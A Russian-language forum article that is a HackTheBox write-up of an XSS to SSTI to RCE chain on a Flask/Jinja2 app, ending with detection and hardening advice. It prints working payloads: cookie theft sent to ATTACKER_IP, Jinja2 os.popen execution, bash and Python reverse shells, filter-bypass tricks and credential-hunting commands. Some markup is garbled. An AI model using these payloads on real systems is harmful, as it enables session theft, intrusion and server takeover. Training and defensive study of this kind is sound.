РАЗБОР Статья

HTB writeup: цепочка XSS -> SSTI -> RCE пошагово

Сергей Попов
Сергей Попов Red Team · 6,7 тыс. сообщений
Подписаться
724
[ обложка статьи ]
Режим чтения
Тёмная лаборатория пентестера: изогнутый монитор с цепочкой атаки STORED XSS → SSTI → RCE и Jinja2-пейлоадом зелёным моноширинным шрифтом. На втором экране видна вкладка Burp Repeater с меткой cook...


Три пейлоада и 40 минут - от Stored XSS в форме обратной связи до shell на сервере. На HackTheBox-машинах уровня Medium эта цепочка появляется с завидной регулярностью: клиент-сайд уязвимость открывает дверь в админ-панель, а там - Server-Side Template Injection с прямой дорогой к Remote Code Execution. Большинство writeup'ов разбирают SSTI изолированно: вот пейлоад, вот shell, расходимся. На практике вход почти всегда начинается с чего-то "безобидного" вроде XSS. Разберу полную цепочку от <script> до whoami, с объяснением логики на каждом шаге - потому что между звеньями прячутся микрорешения, которые ни один чужой writeup за тебя не примет.

Цепочка эксплуатации XSS и SSTI: маппинг на ATT&CK​

Прежде чем лезть в пейлоады - общая логика атаки. Цепочка укладывается в пять техник MITRE ATT&CK: Подробнее - в нашем обзоре пентест веб-приложений.

ШагТехника ATT&CKЧто делаем
1Exploit Public-Facing Application (T1190, Initial Access)Находим Stored XSS в веб-приложении
2Credentials from Web Browsers (T1555.003, Credential Access)XSS крадёт cookie админа через fetch/XHR
3Unix Shell (T1059.004, Execution)Через SSTI в админ-панели получаем reverse shell
4SSH (T1021.004, Lateral Movement)С найденными кредами перемещаемся из контейнера на хост
5Exploitation for Privilege Escalation (T1068)Поднимаем привилегии до root

Ключевой момент - переход от клиент-сайд к серверной атаке. XSS сама по себе RCE не даёт. Но она открывает доступ к функциям, где RCE возможен. На HackTheBox этот паттерн встречается на машинах, где обычный пользователь видит форму ввода, а администратор - шаблонизатор для кастомизации страниц или email-рассылок. И вот тут начинается самое интересное.

Предусловия для воспроизведения​

Цепочка работает при совпадении нескольких условий: веб-приложение на Flask/Django с шаблонизатором Jinja2, отсутствие или слабый CSP (Content Security Policy), наличие бота или реального администратора, который просматривает пользовательский контент, cookie без флага HttpOnly. Последнее - ключевое: Flask и Django по умолчанию ставят HttpOnly=True для session cookie, так что кража сессии через document.cookie в стандартной конфигурации не пройдёт. На CTF-машинах этот флаг намеренно отключён - это уязвимая конфигурация, а не дефолт. В реальных приложениях для такой атаки нужна явная ошибка разработчика. На CTF-платформах бот-администратор (headless Chrome через Selenium или Puppeteer) имитирует визит админа - обычно в течение 30-60 секунд после сабмита.

Со стороны атакующего: Kali Linux или любой GNU/Linux с Python 3 и netcat, Burp Suite Community Edition для перехвата запросов, активное VPN-подключение к HTB (sudo openvpn с .ovpn-файлом).

XSS в браузере админа: кража сессии администратора​

1793597951515.webp

Поиск Stored XSS​

Разведка начинается стандартно: nmap -sC -sV -p- TARGET_IP для обнаружения открытых портов. Веб-приложение на порту 80 или 8080 - основной кандидат. Ищем точки ввода: формы обратной связи, комментарии, поля профиля, тикеты техподдержки.

Stored XSS отличается от Reflected тем, что пейлоад сохраняется на сервере и срабатывает при просмотре страницы другим пользователем - в нашем случае администратором. Нам нужно, чтобы скрипт выполнился именно в его браузере.

Начинаю с базового <script>alert(1)</script> в каждом текстовом поле. Фильтруется - пробую вариации: <img src=x onerror=alert(1)>, <svg/onload=alert(1)>. На HTB-машинах уровня Medium фильтрация часто кривая - <script> режут, а <img onerror> пропускают. В Burp Suite перехватываю запрос, подставляю пейлоад и смотрю ответ. Если в HTML-коде страницы ввод рендерится без экранирования - XSS подтверждена.

Пейлоад для кражи cookie​

alert(1) - только proof of concept. Для эксплуатации нужен пейлоад, который утянет cookie и отправит на контролируемый сервер. Поднимаю HTTP-сервер на своей машине: python3 -m http.server 8888. Формирую XSS-пейлоад:
HTML:
<img src=x onerror="fetch('http://ATTACKER_IP:8888/?c='+document.cookie)">
Альтернатива: new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie - работает в старых браузерах и обходит CSP-политики, где ограничена connect-src, но не img-src (то есть при специфической конфигурации CSP). Отправляю пейлоад через форму обратной связи.

На HTB-машинах с ботом-администратором срабатывание происходит быстро. В логах Python HTTP-сервера вижу GET-запрос с параметром c=, содержащим сессионную cookie администратора. Подставляю украденную cookie в Burp Suite через Proxy -> Options -> Match and Replace, либо через расширение Cookie Editor в браузере. Открываю сайт - и вот она, админ-панель: управление шаблонами, кастомизация email-уведомлений, редактирование страниц. Именно здесь ищем SSTI.

Бизнес-логика этой фазы: атакующему нужна не сама cookie, а доступ к привилегированным функциям. Администратор видит поля, которые рендерятся через шаблонизатор - поверхность атаки, недоступная обычному пользователю.

Server Side Template Injection: обнаружение шаблонизатора​

1793598002304.webp

Почему SSTI возникает в админ-панелях​

SSTI возникает, когда пользовательский ввод попадает не в данные шаблона, а в сам шаблон. Уязвимый паттерн во Flask (согласно OWASP Web Security Testing Guide): вызов render_template_string("Hello " + user_input) вместо безопасного render_template_string("Hello {{name}}", name=user_input). Разница - одна строка кода. Последствия - RCE на сервере. SSTI входит в категорию A03:2021 - Injection по OWASP Top 10.

Админ-панели - идеальное место для этой дыры. Разработчики дают администратору возможность "кастомизировать" шаблоны писем или страниц и конкатенируют его ввод с шаблоном, потому что "это же админ, ему можно доверять". Знакомая песня. На HTB-машинах уязвимый параметр обычно сидит в веб-форме, доступной после получения доступа к приложению.

Трёхшаговая идентификация шаблонизатора​

По методологии PortSwigger Research идентификация шаблонизатора проходит в три шага. Все запросы отправляю через Burp Repeater - подставляю пейлоад в подозрительный параметр (поле темы письма, название шаблона, поле кастомизации).

Шаг 1 - математический тест. Отправляю {{7*7}} в параметр. Если ответ содержит 49 вместо буквального текста - сервер обрабатывает ввод как часть шаблона. Это proof of concept для SSTI, аналогичный ' OR 1=1-- для SQL-инъекции.

Шаг 2 - идентификация движка. Отправляю {{7[I]'7'}}. Python умножает строку на число, поэтому Jinja2 вернёт 7777777. Twig (PHP) в большинстве случаев вернёт 49, так как PHP приводит строку '7' к числу, но поведение может отличаться в зависимости от версии Twig и настройки strict_variables. Это частный случай двух движков из полной таблицы PortSwigger, которая включает FreeMarker, Velocity, Smarty и другие - для них поведение {{7[/I]'7'}} отличается, см. оригинальную методологию.

Шаг 3 - проверка контекста Flask. Если шаг 2 показал Jinja2 - отправляю {{config}}. Во Flask-приложении в ответе появится объект конфигурации с SECRET_KEY, путями и переменными окружения. Наличие config подтверждает Flask.

Для автоматизации есть tplmap, который перебирает пейлоады для разных движков. На CTF я предпочитаю ручную проверку - три запроса в Burp Repeater дают результат за минуту, без лишнего шума в логах.

Эксплуатация SSTI до RCE: пейлоад Jinja2​

1793598065860.webp

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
(для Flask-класса Config это так). Пейлоад для подтверждения RCE:
Код:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Разбор каждого элемента: config.[B]class[/B] - класс объекта конфигурации Flask; .[B]init[/B].[B]globals[/B] - глобальные переменные модуля, в котором определён класс; ['os'] - доступ к уже импортированному модулю os; .popen('id') - выполнение системной команды; .read() - чтение результата. Вернулось uid=0(root) или uid=1000(app) - RCE подтверждён. Можно выдохнуть и переходить к shell.

Когда request недоступен (чистый Jinja2 без Flask-контекста), работают альтернативные объекты: lipsum.[B]globals[/B]['os'].popen('id').read() или cycler.[B]init[/B].[B]globals[/B]['os'].popen('id').read(). Объекты lipsum и cycler - встроенные глобалы Jinja2, доступные в стандартном (не sandboxed) окружении. В Jinja2 SandboxedEnvironment (включая Flask с явно включённым sandbox) эти пути заблокированы - проверяйте доступность перед выбором цепочки.

Ещё один подход, документированный исследователями, - для случаев, когда кавычки заблокированы: извлечение символов из строкового представления [B]globals[/B] по индексам. Пейлоад {{self.[B]init[/B].[B]globals[/B].[B]str[/B]()[1786:1788]}} вытаскивает подстроку из глобалов - строка строится из уже существующих данных без единой кавычки. Грязно, но работает.

Reverse shell и эскалация привилегий на HTB​

Получение shell​

Запускаю listener: nc -lvnp 4444. Жду строку Listening on 0.0.0.0 4444. Вместо id подставляю команду reverse shell в RCE-пейлоад: bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1". Полный пейлоад отправляю через Burp Repeater в уязвимый параметр.

Если shell не приходит - типичные причины: outbound-фильтрация на сервере (пробую другие порты: 80, 443, 53), отсутствие bash в контейнере (пробую sh или Python one-liner: python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])').

После получения shell первым делом проверяю окружение: whoami показывает текущего пользователя, hostname - имя хоста. cat /proc/1/cgroup покажет, сидим ли мы внутри Docker-контейнера. На многих HTB-машинах Flask-приложение запущено в контейнере - нужен ещё один pivot.

Эскалация привилегий htb: от контейнера к root​

Внутри контейнера ищу учётные данные: env для переменных окружения (часто содержат DATABASE_URL с паролями), find / -name "*.env" 2>/dev/null для файлов конфигурации, cat /etc/shadow для хешей. На машине Sightless (по данным Codeby Academy) из контейнера извлекались креды для SSH-подключения к хосту - техника Valid Accounts (T1078).

После подключения к хосту по SSH - классические векторы повышения привилегий:

ВекторКоманда проверкиНа что смотреть
SUID-бинарникиfind / -perm -4000 2>/dev/nullbash, find, env с SUID - root через GTFOBins
Открытые порты localhostss -tlnpСервисы, доступные только изнутри (debug-порты)
Cron jobscat /etc/crontab && ls /etc/cron.d/Задачи от root с записываемыми скриптами
Sudo misconfigsudo -lКоманды, доступные без пароля

На некоторых HTB-машинах вектором становится Chromium с открытым портом удалённой отладки - техника Browser Information Discovery (T1217). Подключение через SSH-туннель ssh -L 9222:127.0.0.1:DEBUG_PORT user@host и chrome://inspect в локальном браузере давало доступ к Chrome DevTools Protocol с привилегиями - Exploitation for Privilege Escalation (T1068). Красивый вектор, который в дикой природе тоже встречается.

Обход фильтров при эксплуатации server side template injection​

На CTF-машинах уровня Hard и в реальных приложениях с WAF базовые SSTI-пейлоады блокируются. Основные техники обхода:

Блокировка точек и подчёркиваний. Замена request.application на bracket notation: request['application']. Подчёркивания в [B]globals[/B] заменяются на hex: \x5f\x5fglobals\x5f\x5f. Этот каскад обходов хорошо документирован в публичных исследованиях по SSTI bypass.

Блокировка кавычек. Исследователи показали самодостаточные пейлоады, строящие строки из ASCII-кодов через chr() или из индексов существующих строк. В Mako (альтернативный Python-шаблонизатор): ${str().join(chr(i)for(i)in[105,100])} генерирует строку "id" без кавычек. В Jinja2 - через self.[B]init[/B].[B]globals[/B].[B]str[/B]()[start:end].

Фильтрация ключевых слов. Jinja2-фильтр attr() принимает строку и возвращает атрибут объекта: ''|attr('\x5f\x5fclass\x5f\x5f') вместо ''.[B]class[/B]. WAF не видит запрещённые слова в чистом виде. Элегантно.

Ограничение длины ввода. Разбиваем пейлоад на части через Jinja2-конструкцию {% set %} для сохранения промежуточных результатов в переменных: {% set a = ''|attr('\x5f\x5fclass\x5f\x5f') %} в одном поле, затем используем a дальше.

Для защиты, согласно OWASP, применяются три уровня: валидация ввода (whitelist, не blacklist), sandbox mode шаблонизатора и обновление зависимостей. На уровне инфраструктуры - Inbound Traffic Filtering (D3-ITF) и Protocol Metadata Anomaly Detection (D3-PMAD) по классификации D3FEND.

Детектирование цепочки XSS -> SSTI -> RCE​

Для blue team полная цепочка оставляет следы на нескольких уровнях. Знание этих следов полезно и атакующим - понимание того, что детектируется, определяет OPSEC.

XSS-фаза. Исходящий HTTP-запрос из браузера администратора на внешний IP с cookie в параметрах. Детектируется через мониторинг DNS/HTTP outbound - запрос к нехарактерному IP от внутреннего пользователя. Контрмера: флаги HttpOnly и Secure на cookie полностью блокируют exfiltration через JavaScript. Одна строчка в конфиге - и вся эта часть цепочки рассыпается.

SSTI-фаза. В логах веб-сервера появляются характерные паттерны: {{, [B]class[/B], [B]globals[/B], [B]subclasses[/B]. WAF с CRS >= 3.3 блокирует большинство базовых пейлоадов.

Reverse shell. В SigmaHQ правило lnx_shell_susp_rev_shells.yml ловит паттерны /dev/tcp/ и bash -i - правило работает поверх логов auditd (execve) или Sysmon for Linux, для срабатывания нужен настроенный аудит процессов. Правило lnx_shell_susp_commands.yml детектирует подозрительные shell-команды на том же источнике данных. Для SSH lateral movement - lnx_sshd_susp_ssh.yml анализирует записи sshd в syslog/auth.log и фиксирует подключения с новых IP.

Post-exploitation. Executable Allowlisting (D3-EAL) и File Integrity Monitoring (D3-FIM) ловят нетипичные процессы. Для credential access - правила из SigmaHQ по доступу к файлам браузеров (proc_creation_win_sqlite_chromium_profile_data.yml).

Практический чеклист защиты: передавать пользовательский ввод как данные шаблона (параметризация), включить CSP-заголовки для блокировки XSS-exfiltration, ставить HttpOnly и Secure на cookie, использовать Jinja2 sandbox mode, мониторить outbound-трафик из внутренней сети.

Чтение writeup'ов - хороший старт, но разница между "прочитал пейлоад" и "собрал цепочку сам" - примерно как между чтением мануала по плаванию и заплывом на глубине. Я видел, как люди, готовящиеся к OSCP, читают десятки разборов HackTheBox и потом не могут собрать цепочку с нуля на экзамене. Проблема не в знаниях - проблема в микрорешениях между звеньями: какой payload выбрать для cookie theft, как обойти CSP, куда смотреть в админке после получения доступа, как определить шаблонизатор за три запроса. Эти навыки тренируются только руками. Я видел, как люди тратят месяцы на чтение и потом не отличают Jinja2 от Twig на экзамене - потому что ни разу не отправляли {{7*'7'}} сами. Цепочка XSS -> SSTI -> RCE - стандартный паттерн для Flask/Django-приложений на пентесте веб-части, и без уверенной отработки каждого звена экзамен превращается в лотерею. WAPT для тех, кому writeup'ов мало - там лабы с прогрессией и ментором, который не даст застрять на этапе "а почему [B]globals[/B] не работает".
Полезно

Комментарии

0